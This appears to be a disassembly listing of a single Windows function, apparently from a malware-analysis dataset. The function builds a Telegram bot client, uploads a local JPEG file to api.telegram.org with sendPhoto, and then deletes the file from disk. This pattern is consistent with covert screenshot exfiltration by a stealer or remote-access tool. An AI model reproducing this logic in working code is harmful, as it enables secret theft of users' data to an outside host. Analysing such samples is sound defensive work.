Function at 0x14004d670
Capabilities:
Delete file

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x280
mov rax, qword [0x140090040]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rsi, rcx
mov qword [r11 - 0xc0], rcx
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0x1f0], xmm0
movups xmmword [rsp + 0x200], xmm0
movups xmmword [r11 - 0x78], xmm0
movups xmmword [r11 - 0x68], xmm0
movups xmmword [r11 - 0x58], xmm0
movups xmmword [r11 - 0x48], xmm0
movups xmmword [r11 - 0x38], xmm0
movups xmmword [r11 - 0x28], xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x80], xmm1
lea r8d, [r14 + 0x18]
lea rdx, str.https:__api.telegram.org
lea rcx, [rsp + 0x70]
call fcn.14006ec60
nop
call qword [sym.imp.TgBot.dll_private:_static_class_TgBot::HttpClient____ptr64___cdecl_TgBot::Bot::_getDefaultHttpClient_void_]
mov rbx, rax
lea rdx, [0x140090168]
lea rcx, [rsp + 0x1a8]
call fcn.14006cc90
lea r9, [rsp + 0x70]
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.TgBot.dll_public:_void___cdecl_TgBot::Bot::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char____class_TgBot::HttpClient_const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64____ptr64]
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x14004d779
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d774
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004d774
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140072800
movdqa xmm0, xmmword [0x140082770]
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0x1d0]
call fcn.14004c3f0
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x108], xmm0
mov qword [rsp + 0x118], r14
movups xmmword [rsp + 0xd8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xe8], xmm1
xor r8d, r8d
lea rdx, [0x14007832f]
lea rcx, [rsp + 0xd8]
call fcn.14006ec60
nop
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xf8], xmm0
lea rax, [rsp + 0x120]
mov qword [rsp + 0x148], rax
movups xmmword [rsp + 0xb8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xc8], xmm1
mov r8d, 0xa
lea rdx, str.image_jpeg
lea rcx, [rsp + 0xb8]
call fcn.14006ec60
nop
lea r8, [rsp + 0xb8]
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0x170]
call qword [sym.imp.TgBot.dll_public:_static_class_std::shared_ptr_class_TgBot::InputFile____cdecl_TgBot::InputFile::fromFile_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_]
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x128], xmm0
mov rcx, qword [rax]
mov qword [rsp + 0x128], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0x130], rcx
mov qword [rax], r14
mov qword [rax + 8], r14
mov dword [rsp + 0x120], r14d
lea rdx, [0x1400901c8]
lea rcx, [rsp + 0x188]
call fcn.14006cc90
mov dword [rsp + 0x180], 1
mov byte [rsp + 0x68], 0
mov dword [rsp + 0x60], r14d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x108]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x120]
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x210]
call qword [sym.imp.TgBot.dll__sendPhoto_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D_s]
mov rbx, qword [rsp + 0x168]
mov edi, 0xffffffff
test rbx, rbx
je 0x14004d954
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14004d954
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14004d954
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
mov rbx, qword [rsp + 0x178]
test rbx, rbx
je 0x14004d989
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14004d989
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x14004d989
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0xf
jbe 0x14004d9cf
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d9ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004d9ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140072800
movdqa xmm0, xmmword [0x140082770]
movdqu xmmword [rsp + 0xc8], xmm0
mov byte [rsp + 0xb8], 0
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x14004da2e
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004da29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004da29
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140072800
movdqa xmm0, xmmword [0x140082770]
movdqu xmmword [rsp + 0xe8], xmm0
mov byte [rsp + 0xd8], 0
lea rcx, [rsp + 0x108]
call fcn.14006c9b0
lea rcx, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 0xf
cmova rcx, qword [rsp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, byte [0x14009180f]
test al, al
je 0x14004dafa
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x80], xmm1
mov r8d, 0x1e
lea rdx, [0x14007f830]
lea rcx, [rsp + 0x70]
call fcn.14006ec60
nop
lea rcx, [rsp + 0x70]
call fcn.140043f80
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x14004dafa
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004daf4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004daf4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140072800
nop
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 0xf
jbe 0x14004db40
inc rdx
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004db3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004db3b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140072800
movdqa xmm0, xmmword [0x140082770]
movdqu xmmword [rsp + 0x1e0], xmm0
mov byte [rsp + 0x1d0], 0
lea rcx, [rsp + 0x1f0]
call fcn.14004dbf0
nop
jmp 0x14004db74
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14004dbaa
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14004dba5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14004dbe3
mov rcx, r8
call fcn.140072800
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140072580
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3